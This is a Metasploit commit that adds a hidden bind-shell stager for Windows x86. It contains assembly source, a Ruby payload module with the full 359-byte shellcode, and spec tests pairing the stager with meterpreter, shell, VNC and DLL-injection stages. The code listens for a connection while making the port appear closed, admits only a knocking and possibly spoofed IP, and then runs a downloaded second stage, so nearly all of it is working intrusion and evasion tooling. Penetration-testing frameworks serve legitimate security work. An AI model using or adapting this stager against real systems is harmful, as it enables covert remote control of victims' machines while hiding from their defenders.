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Land rapid7#4470, bind_hidden_ipknock_tcp stager
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‎external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm

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;-----------------------------------------------------------------------------;
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; Original Shellcode: Stephen Fewer ([email protected])
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; Modified version to add hidden ipknock bind shell support: Borja Merino ([email protected])
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (December 2014)
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;-----------------------------------------------------------------------------;
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[BITS 32]
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; Input: EBP must be the address of 'api_call'.
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; Output: EDI will be the newly connected clients socket
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; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
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bind_tcp:
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push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
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push 0x5F327377 ; ...
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push esp ; Push a pointer to the "ws2_32" string on the stack.
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push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call ebp ; LoadLibraryA( "ws2_32" )
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mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
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sub esp, eax ; alloc some space for the WSAData structure
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push esp ; push a pointer to this stuct
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push eax ; push the wVersionRequested parameter
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push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
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call ebp ; WSAStartup( 0x0190, &WSAData );
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push eax ; if we succeed, eax wil be zero, push zero for the flags param.
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push eax ; push null for reserved parameter
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push eax ; we do not specify a WSAPROTOCOL_INFO structure
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push eax ; we do not specify a protocol
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inc eax ;
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push eax ; push SOCK_STREAM
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inc eax ;
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push eax ; push AF_INET
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push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
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call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
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xchg edi, eax ; save the socket for later, don't care about the value of eax after this
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xor ebx, ebx ; Clear EBX
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push ebx ; bind to 0.0.0.0
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push 0x5C110002 ; family AF_INET and port 4444
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mov esi, esp ; save a pointer to sockaddr_in struct
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push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
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push esi ; pointer to the sockaddr_in struct
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push edi ; socket
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push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
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call ebp ; bind( s, &sockaddr_in, 16 );
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; Hidden ipknock Support ----------
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push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
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push esp ; optval: pointer to the buffer in which the value for the requested option is specified
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push 0x3002 ; level at which the option is defined: SOL_SOCKET
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push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
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push edi ; socket descriptor
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push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
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call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
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push ebx ; backlog
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push edi ; socket
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push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
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call ebp ; listen( s, 0 );
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condition:
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push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
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call wsaaccept ; push the start of the condition function on the stack
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mov eax, DWORD [esp+4] ;
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mov eax, DWORD [eax+4] ;
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mov eax, DWORD [eax+4] ; get the client IP returned in the stack
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sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
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jz equal ; if equal, eax = 0
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xor eax, eax
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inc eax ; if not equal, eax = 1
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equal:
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mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
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; This value will be read it after calling WSAaccept since
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; WSAaccept would always return FFFFFFFF when the IP is spoofed
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retn 0x20 ; some stack alignment needed to return to mswsock
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wsaaccept:
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push ebx ; length of the sockaddr = nul
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push ebx ; struct sockaddr = nul
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push edi ; socket descriptor
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push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
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call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
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cmp DWORD [esp+4], 0
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jnz condition ; Check if the IP knocked is allowed
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inc eax
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jnz connection ; Check if the 3-Way Handshake is successfully established
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push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
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push ebx ; fnCondition = 0
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jmp wsaaccept
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jz condition ; if error (eax = -1) jump to condition function to wait for another connection
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connection:
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dec eax ; restore eax
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push edi ; push the listening socket to close
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xchg edi, eax ; replace the listening socket with the new connected socket for further comms
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push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
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call ebp ; closesocket( s );

‎external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm

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;-----------------------------------------------------------------------------;
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; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (Dec 2014)
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; Size: 359 bytes
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; Build: >build.py stager_hidden_bind_tcp
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_hidden_bind_ipknock.asm"
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; By here we will have performed the bind_tcp connection and EDI will be our socket.
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%include "./src/block/block_recv.asm"
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; By now we will have received in the second stage into a RWX buffer and be executing it

‎modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb

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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def self.handler_type_alias
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"bind_hidden_ipknock_tcp"
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end
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Hidden Bind Ipknock TCP Stager',
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'Description' => 'Listen for a connection. First, the port will need to be knocked from
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the IP defined in KHOST. This IP will work as an authentication method
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(you can spoof it with tools like hping). After that you could get your
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shellcode from any IP. The socket will appear as "closed" helping us to
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hide the shellcode',
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'Author' =>
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[
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'hdm', # original payload module (stager bind_tcp)
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'skape', # original payload module (stager bind_tcp)
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'sf', # original payload module (stager bind_tcp)
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'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden Ipknock functionality
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],
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'License' => MSF_LICENSE,
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'References' => ['URL', 'http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html'],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'RequiresMidstager' => false,
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'Offsets' =>
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{
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'LPORT' => [ 193, 'n' ],
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'KHOST' => [ 255, 'ADDR' ]
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},
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'Payload' =>
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# Length: 359 bytes
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"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
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"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
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"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
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"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
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"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
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"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
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"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
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"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
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"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
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"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
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"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
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"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
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"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
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"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
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"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
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"\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
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"\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
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"\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
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"\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
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"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
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"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
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"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
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"\x01\xc3\x29\xc6\x75\xee\xc3"
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}
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))
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register_options([
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OptAddress.new('KHOST', [true, "IP address allowed", nil])
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])
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end
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end

‎spec/modules/payloads_spec.rb

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modules_pathname: modules_pathname,
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reference_name: 'windows/vncinject/bind_hidden_tcp'
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end
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context 'windows/dllinject/bind_hidden_ipknock_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
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'stages/windows/dllinject'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp'
3337+
end
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context 'windows/meterpreter/bind_hidden_ipknock_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
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'stages/windows/meterpreter'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp'
3347+
end
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context 'windows/patchupdllinject/bind_hidden_ipknock_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
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'stages/windows/patchupdllinject'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp'
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end
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context 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' do
3360+
it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
3362+
'stagers/windows/bind_hidden_ipknock_tcp',
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'stages/windows/patchupmeterpreter'
3364+
],
3365+
modules_pathname: modules_pathname,
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reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
3367+
end
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context 'windows/shell/bind_hidden_ipknock_tcp' do
3370+
it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
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'stages/windows/shell'
3374+
],
3375+
modules_pathname: modules_pathname,
3376+
reference_name: 'windows/shell/bind_hidden_ipknock_tcp'
3377+
end
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context 'windows/upexec/bind_hidden_ipknock_tcp' do
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it_should_behave_like 'payload can be instantiated',
3381+
ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
3383+
'stages/windows/upexec'
3384+
],
3385+
modules_pathname: modules_pathname,
3386+
reference_name: 'windows/upexec/bind_hidden_ipknock_tcp'
3387+
end
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3389+
context 'windows/vncinject/bind_hidden_ipknock_tcp' do
3390+
it_should_behave_like 'payload can be instantiated',
3391+
ancestor_reference_names: [
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'stagers/windows/bind_hidden_ipknock_tcp',
3393+
'stages/windows/vncinject'
3394+
],
3395+
modules_pathname: modules_pathname,
3396+
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
3397+
end
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end

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